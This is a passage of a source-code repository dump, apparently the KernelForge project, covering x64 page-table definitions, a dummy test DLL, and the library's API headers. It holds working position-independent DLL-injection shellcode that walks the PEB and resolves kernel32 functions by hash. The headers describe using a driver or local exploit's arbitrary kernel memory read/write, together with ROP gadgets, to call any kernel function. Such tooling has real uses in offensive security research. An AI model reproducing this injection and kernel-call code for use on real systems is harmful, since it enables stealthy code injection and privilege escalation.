X64_PAGE_DIRECTORY_ENTRY_4K; 55 | 56 | // 57 | // Page Table Entry 4K 58 | // 59 | typedef union 60 | { 61 | struct 62 | { 63 | DWORD64 Present : 1; // 0 = Not present in memory, 1 = Present in memory 64 | DWORD64 ReadWrite : 1; // 0 = Read-Only, 1= Read/Write 65 | DWORD64 UserSupervisor : 1; // 0 = Supervisor, 1=User 66 | DWORD64 WriteThrough : 1; // 0 = Write-Back caching, 1=Write-Through caching 67 | DWORD64 CacheDisabled : 1; // 0 = Cached, 1=Non-Cached 68 | DWORD64 Accessed : 1; // 0 = Not accessed, 1 = Accessed (set by CPU) 69 | DWORD64 Dirty : 1; // 0 = Not Dirty, 1 = written by processor on access to page 70 | DWORD64 PAT : 1; // 0 = Ignore Page Attribute Table 71 | DWORD64 Global : 1; // 0 = Not global page, 1 = global page TLB not cleared on CR3 write 72 | DWORD64 Available : 3; // Available for use by system software 73 | DWORD64 PageTableBaseAddress : 40; // Page Table Base Address 74 | DWORD64 AvabilableHigh : 11; // Available for use by system software 75 | DWORD64 Nx : 1; // 0 = Execute Code, 1 = No Code Execution 76 | 77 | } Bits; 78 | 79 | DWORD64 Uint64; 80 | 81 | } X64_PAGE_TABLE_ENTRY_4K; 82 | 83 | // 84 | // Page Table Entry 2M 85 | // 86 | typedef union 87 | { 88 | struct 89 | { 90 | DWORD64 Present : 1; // 0 = Not present in memory, 1 = Present in memory 91 | DWORD64 ReadWrite : 1; // 0 = Read-Only, 1= Read/Write 92 | DWORD64 UserSupervisor : 1; // 0 = Supervisor, 1=User 93 | DWORD64 WriteThrough : 1; // 0 = Write-Back caching, 1=Write-Through caching 94 | DWORD64 CacheDisabled : 1; // 0 = Cached, 1=Non-Cached 95 | DWORD64 Accessed : 1; // 0 = Not accessed, 1 = Accessed (set by CPU) 96 | DWORD64 Dirty : 1; // 0 = Not Dirty, 1 = written by processor on access to page 97 | DWORD64 MustBe1 : 1; // Must be 1 98 | DWORD64 Global : 1; // 0 = Not global page, 1 = global page TLB not cleared on CR3 write 99 | DWORD64 Available : 3; // Available for use by system software 100 | DWORD64 PAT : 1; // 101 | DWORD64 MustBeZero : 8; // Must be zero; 102 | DWORD64 PageTableBaseAddress : 31; // Page Table Base Address 103 | DWORD64 AvabilableHigh : 11; // Available for use by system software 104 | DWORD64 Nx : 1; // 0 = Execute Code, 1 = No Code Execution 105 | 106 | } Bits; 107 | 108 | DWORD64 Uint64; 109 | 110 | } X64_PAGE_TABLE_ENTRY_2M; 111 | 112 | #pragma pack() 113 | 114 | #define PFN_TO_PAGE(_val_) (((DWORD64)(_val_)) << PAGE_SHIFT) 115 | #define PAGE_TO_PFN(_val_) (((DWORD64)(_val_)) >> PAGE_SHIFT) 116 | 117 | // get MPL4 address from CR3 register value 118 | #define PML4_ADDRESS(_val_) ((_val_) & 0xfffffffffffff000) 119 | 120 | // get address translation indexes from virtual address 121 | #define PML4_INDEX(_addr_) (((DWORD64)(_addr_) >> 39) & 0x1ff) 122 | #define PDPT_INDEX(_addr_) (((DWORD64)(_addr_) >> 30) & 0x1ff) 123 | #define PDE_INDEX(_addr_) (((DWORD64)(_addr_) >> 21) & 0x1ff) 124 | #define PTE_INDEX(_addr_) (((DWORD64)(_addr_) >> 12) & 0x1ff) 125 | 126 | // get address translation indexes to virtual address 127 | #define PML4_ADDR(_index_) ((_index_) << 39) 128 | #define PDPT_ADDR(_index_) ((_index_) << 30) 129 | #define PDE_ADDR(_index_) ((_index_) << 21) 130 | #define PTE_ADDR(_index_) ((_index_) << 12) 131 | 132 | #define PAGE_OFFSET_4K(_addr_) ((DWORD64)(_addr_) & 0xfff) 133 | #define PAGE_OFFSET_2M(_addr_) ((DWORD64)(_addr_) & 0x1fffff) 134 | #define PAGE_OFFSET_1G(_addr_) ((DWORD64)(_addr_) & 0x3fffffff) 135 | 136 | // PS flag of PDPTE and PDE 137 | #define PDPTE_PDE_PS 0x80 138 | 139 | // EPT present bit 140 | #define EPT_PRESENT(_val_) (((_val_) & 7) != 0) 141 | 142 | // PTE bits 143 | #define PTE_PRESENT 0x1 144 | #define PTE_RW 0x2 145 | #define PTE_GLOBAL 0x100 146 | 147 | // EPT permission flags 148 | #define EPT_R(_val_) (((_val_) & 1) == 1) 149 | #define EPT_W(_val_) (((_val_) & 2) == 2) 150 | #define EPT_X(_val_) (((_val_) & 4) == 4) 151 | -------------------------------------------------------------------------------- /dll_inject_shellcode.cpp: -------------------------------------------------------------------------------- 1 | #include "stdafx.h" 2 | 3 | typedef BOOL (WINAPI * DLL_MAIN)( 4 | PVOID hinstDLL, 5 | DWORD fdwReason, 6 | PVOID lpvReserved 7 | ); 8 | //-------------------------------------------------------------------------------------- 9 | DWORD WINAPI dll_inject_Entry(PDLL_INJECT_STRUCT Struct) 10 | { 11 | // check if payload present 12 | PVOID ModuleBase = Struct->ModuleBase; 13 | if (ModuleBase) 14 | { 15 | // load imports 16 | if (dll_inject_ProcessImports(ModuleBase)) 17 | { 18 | PIMAGE_NT_HEADERS pHeaders = (PIMAGE_NT_HEADERS) 19 | RVATOVA(ModuleBase, ((PIMAGE_DOS_HEADER)ModuleBase)->e_lfanew); 20 | 21 | if (pHeaders->OptionalHeader.AddressOfEntryPoint != 0) 22 | { 23 | DLL_MAIN DllMain = (DLL_MAIN) 24 | RVATOVA(ModuleBase, pHeaders->OptionalHeader.AddressOfEntryPoint); 25 | 26 | // call DLL entry point 27 | DllMain(ModuleBase, DLL_PROCESS_ATTACH, NULL); 28 | } 29 | } 30 | } 31 | 32 | return 0; 33 | } 34 | //-------------------------------------------------------------------------------------- 35 | DWORD WINAPI dll_inject_CalcHash(char *lpszString) 36 | { 37 | DWORD Hash = 0; 38 | char *lpszChar = lpszString; 39 | 40 | while (*lpszChar) 41 | { 42 | Hash = ((Hash << 7) & (DWORD)-1) | (Hash >> (32 - 7)); 43 | Hash = Hash ^ *lpszChar; 44 | 45 | lpszChar += 1; 46 | } 47 | 48 | return Hash; 49 | } 50 | //-------------------------------------------------------------------------------------- 51 | PVOID WINAPI dll_inject_GetModuleAddressByHash(DWORD ModuleHash) 52 | { 53 | PUCHAR Peb = NULL; 54 | 55 | #ifdef _X86_ 56 | 57 | Peb = (PUCHAR)__readfsdword(0x30); 58 | 59 | #else _AMD64_ 60 | 61 | PUCHAR Teb = (PUCHAR)__readgsqword(0x30); 62 | if (Teb) 63 | { 64 | Peb = *(PUCHAR *)(Teb + 0x60); 65 | } 66 | 67 | #endif 68 | 69 | if (Peb == NULL) 70 | { 71 | // process is not initialized properly 72 | return NULL; 73 | } 74 | 75 | // obtain address of first entry in loader's table 76 | PPEB_LDR_DATA LdrData = *(PPEB_LDR_DATA *)(Peb + DLL_INJECT_PEB_LDR_TABLE_OFFSET); 77 | PLIST_ENTRY Head = &LdrData->ModuleListLoadOrder; 78 | PLIST_ENTRY Entry = Head->Flink; 79 | 80 | // parse loader table entries 81 | while (Entry != Head) 82 | { 83 | char szBaseDllName[MAX_PATH]; 84 | PLDR_DATA_TABLE_ENTRY LdrData = CONTAINING_RECORD(Entry, LDR_DATA_TABLE_ENTRY, InLoadOrderModuleList); 85 | WORD NameLength = LdrData->BaseDllName.Length / sizeof(WCHAR); 86 | 87 | for (WORD i = 0; i < NameLength; i += 1) 88 | { 89 | // copy module name into ANSI string 90 | char Chr = (char)LdrData->BaseDllName.Buffer[i]; 91 | 92 | if ((Chr >= 'A') && (Chr <= 'Z')) 93 | { 94 | // convert characetr to the low case 95 | Chr = Chr + ('a' - 'A'); 96 | } 97 | 98 | szBaseDllName[i] = Chr; 99 | } 100 | 101 | szBaseDllName[NameLength] = '\0'; 102 | 103 | // check the name hash 104 | if (dll_inject_CalcHash(szBaseDllName) == ModuleHash) 105 | { 106 | return LdrData->DllBase; 107 | } 108 | 109 | Entry = Entry->Flink; 110 | } 111 | 112 | return NULL; 113 | } 114 | //-------------------------------------------------------------------------------------- 115 | PVOID WINAPI dll_inject_GetProcAddressByHash(PVOID Image, DWORD ProcHash) 116 | { 117 | if (Image == NULL) 118 | { 119 | // something goes wrong 120 | return NULL; 121 | } 122 | 123 | PIMAGE_NT_HEADERS pHeaders = (PIMAGE_NT_HEADERS) 124 | RVATOVA(Image, ((PIMAGE_DOS_HEADER)Image)->e_lfanew); 125 | 126 | DWORD Addr = 0; 127 | DWORD ExportAddr = pHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; 128 | DWORD ExportSize = pHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size; 129 | 130 | if (ExportAddr != 0) 131 | { 132 | PIMAGE_EXPORT_DIRECTORY pExport = (PIMAGE_EXPORT_DIRECTORY)RVATOVA(Image, ExportAddr); 133 | 134 | if (pExport->AddressOfFunctions == 0 || 135 | pExport->AddressOfNameOrdinals == 0 || 136 | pExport->AddressOfNames == 0) 137 | { 138 | // no exports by name 139 | return NULL; 140 | } 141 | 142 | // parse module exports 143 | PDWORD AddrOfFunctions = (PDWORD)RVATOVA(Image, pExport->AddressOfFunctions); 144 | PWORD AddrOfOrdinals = (PWORD)RVATOVA(Image, pExport->AddressOfNameOrdinals); 145 | PDWORD AddrOfNames = (PDWORD)RVATOVA(Image, pExport->AddressOfNames); 146 | 147 | for (DWORD i = 0; i < pExport->NumberOfNames; i += 1) 148 | { 149 | // calculate and compare hash of function 150 | if (dll_inject_CalcHash((char *)RVATOVA(Image, AddrOfNames[i])) == ProcHash) 151 | { 152 | // get exported function RVA 153 | Addr = AddrOfFunctions[AddrOfOrdinals[i]]; 154 | break; 155 | } 156 | } 157 | } 158 | 159 | if (Addr != 0) 160 | { 161 | // check for the forwarded export 162 | if (Addr > ExportAddr && 163 | Addr < ExportAddr + ExportSize) 164 | { 165 | // forwarded exports are not supported 166 | return NULL; 167 | } 168 | 169 | return RVATOVA(Image, Addr); 170 | } 171 | 172 | return NULL; 173 | } 174 | //-------------------------------------------------------------------------------------- 175 | BOOL WINAPI dll_inject_ProcessImports(PVOID Image) 176 | { 177 | dll_inject_LoadLibraryA f_LoadLibraryA = NULL; 178 | dll_inject_GetProcAddress f_GetProcAddress = NULL; 179 | 180 | // get kernel32.dll base address 181 | PVOID KernelBase = dll_inject_GetModuleAddressByHash(DLL_INJECT_HASH_KERNEL32); 182 | if (KernelBase) 183 | { 184 | f_LoadLibraryA = (dll_inject_LoadLibraryA) 185 | dll_inject_GetProcAddressByHash(KernelBase, DLL_INJECT_HASH_LOAD_LIBRARY_A); 186 | 187 | f_GetProcAddress = (dll_inject_GetProcAddress) 188 | dll_inject_GetProcAddressByHash(KernelBase, DLL_INJECT_HASH_GET_PROC_ADDRESS); 189 | } 190 | 191 | if (f_LoadLibraryA == NULL || 192 | f_GetProcAddress == NULL) 193 | { 194 | // unable to import required functions 195 | return FALSE; 196 | } 197 | 198 | PIMAGE_NT_HEADERS pHeaders = (PIMAGE_NT_HEADERS) 199 | RVATOVA(Image, ((PIMAGE_DOS_HEADER)Image)->e_lfanew); 200 | 201 | DWORD ImportAddr = pHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress; 202 | DWORD ImportSize = pHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size; 203 | 204 | if (ImportAddr != 0) 205 | { 206 | PIMAGE_IMPORT_DESCRIPTOR pImport = (PIMAGE_IMPORT_DESCRIPTOR)RVATOVA(Image, ImportAddr); 207 | 208 | while (pImport->Name != 0) 209 | { 210 | char *lpszLibName = (char *)RVATOVA(Image, pImport->Name); 211 | 212 | // load import library 213 | PVOID LibAddr = f_LoadLibraryA(lpszLibName); 214 | if (LibAddr == NULL) 215 | { 216 | return FALSE; 217 | } 218 | 219 | // process thunks data 220 | PIMAGE_THUNK_DATA pThunk = (PIMAGE_THUNK_DATA)RVATOVA(Image, pImport->FirstThunk); 221 | while (pThunk->u1.Ordinal != 0) 222 | { 223 | if (pThunk->u1.Ordinal & 0xf0000000) 224 | { 225 | // lookup function address by ordinal 226 | PVOID FuncAddr = f_GetProcAddress(LibAddr, (char *)(pThunk->u1.Ordinal & 0xffff)); 227 | if (FuncAddr == NULL) 228 | { 229 | return FALSE; 230 | } 231 | 232 | *(PVOID *)pThunk = FuncAddr; 233 | } 234 | else 235 | { 236 | PIMAGE_IMPORT_BY_NAME pName = (PIMAGE_IMPORT_BY_NAME)RVATOVA(Image, pThunk->u1.AddressOfData); 237 | char *lpszFuncName = (char *)&pName->Name; 238 | 239 | // lookup function address by name 240 | PVOID FuncAddr = f_GetProcAddress(LibAddr, lpszFuncName); 241 | if (FuncAddr == NULL) 242 | { 243 | return FALSE; 244 | } 245 | 246 | *(PVOID *)pThunk = FuncAddr; 247 | } 248 | 249 | pThunk += 1; 250 | } 251 | 252 | pImport += 1; 253 | } 254 | } 255 | 256 | return TRUE; 257 | } 258 | 259 | void WINAPI dll_inject_End(void) { } 260 | //-------------------------------------------------------------------------------------- 261 | // EoF 262 | -------------------------------------------------------------------------------- /dll_inject_shellcode.h: -------------------------------------------------------------------------------- 1 | 2 | // hash sums for dll_inject_CalcHash() 3 | #define DLL_INJECT_HASH_KERNEL32 0x4b1ffe8e // "kernel32.dll" 4 | #define DLL_INJECT_HASH_LOAD_LIBRARY_A 0xc8ac8026 // "LoadLibraryA" 5 | #define DLL_INJECT_HASH_GET_PROC_ADDRESS 0x1fc0eaee // "GetProcAddress" 6 | 7 | typedef PVOID (WINAPI * dll_inject_LoadLibraryA)(char *lpLibFileName); 8 | typedef PVOID (WINAPI * dll_inject_GetProcAddress)(PVOID hModule, char *lpProcName); 9 | 10 | #ifdef _X86_ 11 | 12 | #define DLL_INJECT_PEB_IMAGE_BASE_OFFEST 0x08 13 | #define DLL_INJECT_PEB_LDR_TABLE_OFFSET 0x0C 14 | 15 | #else _AMD64_ 16 | 17 | #define DLL_INJECT_PEB_IMAGE_BASE_OFFEST 0x10 18 | #define DLL_INJECT_PEB_LDR_TABLE_OFFSET 0x18 19 | 20 | #endif 21 | 22 | #pragma pack(1) 23 | 24 | typedef struct _DLL_INJECT_STRUCT 25 | { 26 | // DLL image base 27 | PVOID ModuleBase; 28 | 29 | // DLL load shellcode 30 | UCHAR Shellcode[]; 31 | 32 | } DLL_INJECT_STRUCT, 33 | *PDLL_INJECT_STRUCT; 34 | 35 | #pragma pack() 36 | 37 | extern "C" 38 | { 39 | DWORD WINAPI dll_inject_Entry(PDLL_INJECT_STRUCT Struct); 40 | DWORD WINAPI dll_inject_CalcHash(char *lpszString); 41 | PVOID WINAPI dll_inject_GetModuleAddressByHash(ULONG ModuleHash); 42 | PVOID WINAPI dll_inject_GetProcAddressByHash(PVOID Image, ULONG ProcHash); 43 | BOOL WINAPI dll_inject_ProcessImports(PVOID Image); 44 | void WINAPI dll_inject_End(void); 45 | }; 46 | -------------------------------------------------------------------------------- /docs/images/kforge_example.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Cr4sh/KernelForge/491e41019d6225535e53d6c6795eb0cfdc7d5ff2/docs/images/kforge_example.png -------------------------------------------------------------------------------- /docs/images/rop_gadget.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Cr4sh/KernelForge/491e41019d6225535e53d6c6795eb0cfdc7d5ff2/docs/images/rop_gadget.png -------------------------------------------------------------------------------- /docs/images/vtl_kernel_functions.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Cr4sh/KernelForge/491e41019d6225535e53d6c6795eb0cfdc7d5ff2/docs/images/vtl_kernel_functions.png -------------------------------------------------------------------------------- /docs/images/winio_signature.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Cr4sh/KernelForge/491e41019d6225535e53d6c6795eb0cfdc7d5ff2/docs/images/winio_signature.png -------------------------------------------------------------------------------- /dummy.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Cr4sh/KernelForge/491e41019d6225535e53d6c6795eb0cfdc7d5ff2/dummy.dll -------------------------------------------------------------------------------- /dummy.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Cr4sh/KernelForge/491e41019d6225535e53d6c6795eb0cfdc7d5ff2/dummy.pdb -------------------------------------------------------------------------------- /dummy/dummy.cpp: -------------------------------------------------------------------------------- 1 | #include "stdafx.h" 2 | //-------------------------------------------------------------------------------------- 3 | DWORD WINAPI DllThread(LPVOID lpParam) 4 | { 5 | char szPath[MAX_PATH]; 6 | char szText[MAX_PATH + 0x100]; 7 | 8 | // obtain process executable path 9 | GetModuleFileName(GetModuleHandle(NULL), szPath, MAX_PATH); 10 | 11 | sprintf(szText, "Running in \"%s\", PID = %d", szPath, GetCurrentProcessId()); 12 | 13 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): %s\n", szText); 14 | 15 | MessageBox(0, szText, __FUNCTION__"()", MB_ICONINFORMATION); 16 | 17 | return 0; 18 | } 19 | //-------------------------------------------------------------------------------------- 20 | BOOL APIENTRY DllMain( 21 | HMODULE hModule, 22 | DWORD ul_reason_for_call, 23 | LPVOID lpReserved) 24 | { 25 | switch (ul_reason_for_call) 26 | { 27 | case DLL_PROCESS_ATTACH: 28 | { 29 | // show message in separate thread to avoid loader locks 30 | HANDLE hThread = CreateThread(NULL, 0, DllThread, NULL, 0, NULL); 31 | if (hThread) 32 | { 33 | CloseHandle(hThread); 34 | } 35 | else 36 | { 37 | DbgMsg(__FILE__, __LINE__, "CreateThread() ERROR %d\n", GetLastError()); 38 | } 39 | 40 | break; 41 | } 42 | 43 | case DLL_THREAD_ATTACH: 44 | case DLL_THREAD_DETACH: 45 | case DLL_PROCESS_DETACH: 46 | 47 | break; 48 | } 49 | 50 | return TRUE; 51 | } 52 | //-------------------------------------------------------------------------------------- 53 | // EoF 54 | -------------------------------------------------------------------------------- /dummy/dummy.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | x64 7 | 8 | 9 | Release 10 | x64 11 | 12 | 13 | 14 | {60067986-A909-433D-9699-0E00FE13E16E} 15 | Win32Proj 16 | dummy 17 | 18 | 19 | 20 | DynamicLibrary 21 | true 22 | v120 23 | MultiByte 24 | 25 | 26 | DynamicLibrary 27 | false 28 | v120 29 | true 30 | MultiByte 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | false 44 | false 45 | $(SolutionDir) 46 | 47 | 48 | false 49 | $(SolutionDir) 50 | false 51 | 52 | 53 | 54 | NotUsing 55 | Level3 56 | Full 57 | WIN32;_DEBUG;_WINDOWS;_USRDLL;DUMMY_EXPORTS;%(PreprocessorDefinitions) 58 | /D DBG %(AdditionalOptions) 59 | Default 60 | MultiThreadedDebug 61 | Size 62 | true 63 | $(SolutionDir);$(ProjectDir) 64 | 65 | 66 | Windows 67 | true 68 | %(AdditionalOptions) 69 | $(SolutionDir)$(TargetName).pdb 70 | $(SolutionDir)$(TargetName)$(TargetExt) 71 | 72 | 73 | 74 | 75 | Level3 76 | NotUsing 77 | Full 78 | WIN32;NDEBUG;_WINDOWS;_USRDLL;DUMMY_EXPORTS;%(PreprocessorDefinitions) 79 | /D "DBG" %(AdditionalOptions) 80 | Default 81 | MultiThreaded 82 | Size 83 | true 84 | $(SolutionDir);$(ProjectDir) 85 | 86 | 87 | Windows 88 | true 89 | %(AdditionalOptions) 90 | $(SolutionDir)$(TargetName).pdb 91 | $(SolutionDir)$(TargetName)$(TargetExt) 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | -------------------------------------------------------------------------------- /dummy/dummy.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | {66b23975-4316-4cb0-a82f-e46d26ccbd94} 18 | 19 | 20 | 21 | 22 | Header Files 23 | 24 | 25 | Header Files 26 | 27 | 28 | Header Files 29 | 30 | 31 | Header Files\common 32 | 33 | 34 | 35 | 36 | Source Files 37 | 38 | 39 | Source Files 40 | 41 | 42 | -------------------------------------------------------------------------------- /dummy/stdafx.cpp: -------------------------------------------------------------------------------- 1 | // stdafx.cpp : source file that includes just the standard includes 2 | // backdoor_client.pch will be the pre-compiled header 3 | // stdafx.obj will contain the pre-compiled type information 4 | 5 | #include "stdafx.h" 6 | 7 | // TODO: reference any additional headers you need in STDAFX.H 8 | // and not in this file 9 | -------------------------------------------------------------------------------- /dummy/stdafx.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #pragma warning(disable: 4200) 3 | #pragma warning(disable: 4996) 4 | 5 | #include "targetver.h" 6 | 7 | // exclude rarely-used stuff from Windows headers 8 | #define WIN32_LEAN_AND_MEAN 9 | 10 | #include 11 | #include 12 | #include 13 | 14 | #include "common/ntdll_defs.h" 15 | #include "common/ntdll_undocnt.h" 16 | #include "common/common.h" 17 | #include "common/debug.h" 18 | -------------------------------------------------------------------------------- /dummy/targetver.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | // Including SDKDDKVer.h defines the highest available Windows platform. 4 | 5 | // If you wish to build your application for a previous Windows platform, include WinSDKVer.h and 6 | // set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h. 7 | 8 | #include 9 | -------------------------------------------------------------------------------- /include/kforge_driver.h: -------------------------------------------------------------------------------- 1 | #ifndef _KFORGE_DRIVER_H_ 2 | #define _KFORGE_DRIVER_H_ 3 | 4 | #ifdef __cplusplus 5 | 6 | extern "C" 7 | { 8 | 9 | #endif 10 | 11 | /** 12 | * Initialize kernel driver or local exploit that provies arbitrary 13 | * memory read write primitives. 14 | * 15 | * @return TRUE if success or FALSE in case of error. 16 | */ 17 | BOOL DriverInit(void); 18 | 19 | /** 20 | * Uninitialize kernel driver or local exploit. 21 | * 22 | * @return TRUE if success or FALSE in case of error. 23 | */ 24 | BOOL DriverUninit(void); 25 | 26 | /** 27 | * Read kernel virtual address space memory. 28 | * 29 | * @param Addr Source address to read from. 30 | * @param Data Destination buffer to store read data. 31 | * @param DataSize Number of bytes to read. 32 | * @return TRUE if success or FALSE in case of error. 33 | */ 34 | BOOL DriverMemRead(PVOID Addr, PVOID Data, DWORD_PTR DataSize); 35 | 36 | /** 37 | * Write kernel virtual address space memory. 38 | * 39 | * @param Addr Destination address to write into. 40 | * @param Data Source buffer with data to write. 41 | * @param DataSize Number of bytes to write. 42 | * @return TRUE if success or FALSE in case of error. 43 | */ 44 | BOOL DriverMemWrite(PVOID Addr, PVOID Data, DWORD_PTR DataSize); 45 | 46 | #ifdef __cplusplus 47 | 48 | } 49 | 50 | #endif 51 | #endif 52 | -------------------------------------------------------------------------------- /include/kforge_library.h: -------------------------------------------------------------------------------- 1 | #ifndef _KFORGE_LIBRARY_H_ 2 | #define _KFORGE_LIBRARY_H_ 3 | 4 | // max arguments for KfCall(): 4 over the registers and 9 over the stack 5 | #define MAX_ARGS (4 + 9) 6 | 7 | // convert KfCall() call arguments 8 | #define KF_ARG(_val_) ((PVOID)(_val_)) 9 | 10 | // convert KfCall() return value 11 | #define KF_RET(_val_) ((PVOID *)(_val_)) 12 | 13 | #ifdef __cplusplus 14 | 15 | extern "C" 16 | { 17 | 18 | #endif 19 | 20 | /** 21 | * Initialize Kernel Forge library: reads kernel image into the user mode memory, 22 | * finds needed ROP gadgets, etc, etc. 23 | * 24 | * @return TRUE if success or FALSE in case of error. 25 | */ 26 | BOOL KfInit(void); 27 | 28 | /** 29 | * Uninitialize Kernel Forge library when you don't need to use its API anymore. 30 | * 31 | * @return TRUE if success and FALSE in case of error. 32 | */ 33 | BOOL KfUninit(void); 34 | 35 | /** 36 | * Call kernel function by its name, it can be exported ntoskrnl.exe function 37 | * or not exported Zw function. 38 | * 39 | * @param lpszProcName Name of the function to call. 40 | * @param Args Array with its arguments. 41 | * @param dwArgsCount Number of the arguments. 42 | * @param pRetVal Pointer to the variable that receives return value of the function. 43 | * @return TRUE if success or FALSE in case of error. 44 | */ 45 | BOOL KfCall(char *lpszProcName, PVOID *Args, DWORD dwArgsCount, PVOID *pRetVal); 46 | 47 | /** 48 | * Call an arbitrary function by its address. 49 | * 50 | * @param ProcAddr Address of the function to call. 51 | * @param Args Array with its arguments. 52 | * @param dwArgsCount Number of the arguments. 53 | * @param pRetVal Pointer to the variable that receives return value of the function. 54 | * @return TRUE if success or FALSE in case of error. 55 | */ 56 | BOOL KfCallAddr(PVOID ProcAddr, PVOID *Args, DWORD dwArgsCount, PVOID *pRetVal); 57 | 58 | /** 59 | * Get system call number by appropriate native API function name. 60 | * 61 | * @param lpszProcName Name of the function. 62 | * @param pdwRet Pointer to the variable that receives system call number. 63 | * @return TRUE if success or FALSE in case of error. 64 | */ 65 | BOOL KfGetSyscallNumber(char *lpszProcName, PDWORD pdwRet); 66 | 67 | /** 68 | * Get an actual address of the function exported by ntoskrnl.exe image. 69 | * 70 | * @param lpszProcName Name of exported function. 71 | * @return Address of the function or NULL in case of error. 72 | */ 73 | PVOID KfGetKernelProcAddress(char *lpszProcName); 74 | 75 | /** 76 | * Get an actual address of not exported Zw function of ntoskrnl.exe image 77 | * using signature based search. 78 | * 79 | * @param lpszProcName Name of Zw function. 80 | * @return Address of the function or NULL in case of error. 81 | */ 82 | PVOID KfGetKernelZwProcAddress(char *lpszProcName); 83 | 84 | /** 85 | * Wrapper that uses KfCall() to execute nt!ExAllocatePool() function to allocate 86 | * specified amount of non paged kernel heap memory. 87 | * 88 | * @param Size Number of bytes to allocate. 89 | * @return Kernel address of allocated memory or NULL in case of error. 90 | */ 91 | PVOID KfHeapAlloc(SIZE_T Size); 92 | 93 | /** 94 | * Wrapper that uses KfCall() to execute nt!ExAllocatePool() function to allocate 95 | * specified amount of non paged kernel heap memory and copy spcified data from 96 | * the user mode into the allocated memory. 97 | * 98 | * @param Size Number of bytes to allocate. 99 | * @param Data Data to copy into the allocated memory. 100 | * @return Kernel address of allocated memory or NULL in case of error. 101 | */ 102 | PVOID KfHeapAllocData(SIZE_T Size, PVOID Data); 103 | 104 | /** 105 | * Wrapper that uses KfCall() to execute nt!ExFreePool() function to free the memory 106 | * that was allocated by KfHeapAlloc() or KfHeapAllocData() functions. 107 | * 108 | * @param Addr Address of the memory to free. 109 | */ 110 | void KfHeapFree(PVOID Addr); 111 | 112 | /** 113 | * Wrapper that uses KfCall() to execute nt!memcpy() function to copy arbitrary data 114 | * between kernel mode and user mode or vice versa. 115 | * 116 | * @param Dst Address of the destination memory. 117 | * @param Src Address of the source memory. 118 | * @param Size Number of bytes to copy. 119 | * @return Destination memory address if success or NULL in case of error. 120 | */ 121 | PVOID KfMemCopy(PVOID Dst, PVOID Src, SIZE_T Size); 122 | 123 | /** 124 | * Wrapper that uses KfCall() to execute nt!memset() function to fill memory region 125 | * with specified character. 126 | * 127 | * @param Dst Address of the destination memory. 128 | * @param Val Character to fill. 129 | * @param Size Number of bytes to fill. 130 | * @return Destination memory address if success or NULL in case of error. 131 | */ 132 | PVOID KfMemSet(PVOID Dst, int Val, SIZE_T Size); 133 | 134 | #ifdef __cplusplus 135 | 136 | } 137 | 138 | #endif 139 | #endif 140 | -------------------------------------------------------------------------------- /kforge.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Cr4sh/KernelForge/491e41019d6225535e53d6c6795eb0cfdc7d5ff2/kforge.dll -------------------------------------------------------------------------------- /kforge.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Cr4sh/KernelForge/491e41019d6225535e53d6c6795eb0cfdc7d5ff2/kforge.pdb -------------------------------------------------------------------------------- /kforge.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 2013 4 | VisualStudioVersion = 12.0.21005.1 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "kforge_driver", "kforge_driver\kforge_driver.vcxproj", "{9244F175-9960-47FB-A197-F717D5C2C370}" 7 | EndProject 8 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "kforge_library", "kforge_library\kforge_library.vcxproj", "{01DA4344-6C0C-4692-9542-D2E895AA4AFB}" 9 | EndProject 10 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "kforge_example", "kforge_example\kforge_example.vcxproj", "{FD13CD14-B412-45BD-A3C9-7466CD83CAFC}" 11 | ProjectSection(ProjectDependencies) = postProject 12 | {01DA4344-6C0C-4692-9542-D2E895AA4AFB} = {01DA4344-6C0C-4692-9542-D2E895AA4AFB} 13 | {9244F175-9960-47FB-A197-F717D5C2C370} = {9244F175-9960-47FB-A197-F717D5C2C370} 14 | EndProjectSection 15 | EndProject 16 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "dummy", "dummy\dummy.vcxproj", "{60067986-A909-433D-9699-0E00FE13E16E}" 17 | EndProject 18 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "kforge", "kforge\kforge.vcxproj", "{548848C6-A540-47C8-8C2F-C3B309ED331B}" 19 | ProjectSection(ProjectDependencies) = postProject 20 | 